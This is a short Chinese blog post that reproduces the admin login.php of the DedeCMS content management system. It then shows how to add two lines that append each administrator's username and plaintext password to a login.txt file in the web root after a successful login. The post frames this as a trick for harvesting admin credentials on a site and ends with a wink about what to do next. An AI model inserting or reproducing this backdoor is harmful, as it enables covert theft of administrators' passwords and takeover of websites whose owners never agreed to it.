MENU

PHP记录管理员登录帐号(dedecms为例)

August 17, 2013 • phpcode

搜索了一下,关于asp记录管理密码的文章大把,可谓是奇淫巧计。
今天我就说说关于PHP怎么来进行记录把。

下面我以DEDECMS的login.php为例子来说明一下。

织梦的login.php代码如下:

<?php
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/userlogin.class.php');
if(empty($dopost))
{
 $dopost = '';
}

//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{
 if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') )
 {
   $fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!');
   fwrite($fp,'ok');
   fclose($fp);
 }
 //为了防止未知安全性问题,强制禁用安装程序的文件
 if( file_exists("../install/index.php") ) {
  @rename("../install/index.php", "../install/index.php.bak");
 }
 if( file_exists("../install/module-install.php") ) {
  @rename("../install/module-install.php", "../install/module-install.php.bak");
 }
}
//检测后台目录是否更名
$cururl = GetCurUrl();
if(eregi('/dede/login',$cururl))
{
 $redmsg = '<br />&nbsp;&nbsp;&nbsp;&nbsp;<font color=\'red\'><b>您的管理目录使用默认名称dede,建议在FTP里把它修改为其它名称,那样会更安全!</b></font>';
}
else
{
 $redmsg = '';
}

//登录检测
$admindirs = explode('/',str_replace("\\",'/',dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost=='login')
{
 $validate = empty($validate) ? '' : strtolower(trim($validate));
 $svali = strtolower(GetCkVdValue());
 if($validate=='' || $validate != $svali)
 {
  ResetVdValue();
  ShowMsg('验证码不正确!','');
 }
 else
 {
  $cuserLogin = new userLogin($admindir);
  if(!empty($userid) && !empty($pwd))
  {
   $res = $cuserLogin->checkUser($userid,$pwd);

   //success
   if($res==1)
   {
    $cuserLogin->keepUser();
    if(!empty($gotopage))
    {
     ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
     exit();
    }
    else
    {
     ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
     exit();
    }
   }

   //error
   else if($res==-1)
   {
    ShowMsg('你的用户名不存在!','');
   }
   else
   {
    ShowMsg('你的密码错误!','');
   }
  }

  //password empty
  else
  {
   ShowMsg('用户和密码没填写完整!','');
  }
 }
}
include('templets/login.htm');

?>

简单点,我们只需要根目录建立一个txt的文件,将 用户名+密码 信息写入到里面。
那么我们可以这样做。

$str= $userid.", ".$pwd."\n";
file_put_contents("../login.txt", $str, FILE_APPEND);

将这段代码添加进去。
结果:

  //success 
  if($res==1) 
  { 
    $cuserLogin->keepUser(); 
    $str= $userid.", ".$pwd."\n";
    file_put_contents("../login.txt", $str, FILE_APPEND);    if(!empty($gotopage)) 
    { 
    ShowMsg('成功登录,正在转向管理管理主页!',$gotopage); 
    exit(); 
    } 
    else 
    { 
    ShowMsg('成功登录,正在转向管理管理主页!',"index.php"); 
    exit(); 
    } 
  } 

等到管理人员输入密码时。会在网站的根目录创建一个login.txt的文本
然后接下来的该做什么,你懂得

感谢坚持的蜗牛 指出其中的问题。谢谢。

Archives QR Code
QR Code for this page
Tipping QR Code